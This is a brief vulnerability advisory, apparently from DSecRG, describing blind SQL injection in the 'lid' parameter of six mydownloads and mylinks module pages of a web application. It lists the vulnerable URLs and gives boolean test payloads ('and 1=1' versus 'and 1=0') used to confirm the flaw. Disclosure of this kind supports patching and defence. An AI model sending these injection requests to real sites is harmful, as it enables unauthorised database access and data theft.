# Multiple Blind SQL Injection
#
# Attacker can inject SQL code in modules:
#
#       http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
#       http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
#       http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
#       http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
#       http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
#       http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION
#
# Example:
#
# This query will return link to download file:
#       GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1 HTTP/1.0
#
#
# This query will return error:
#       GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0 HTTP/1.0
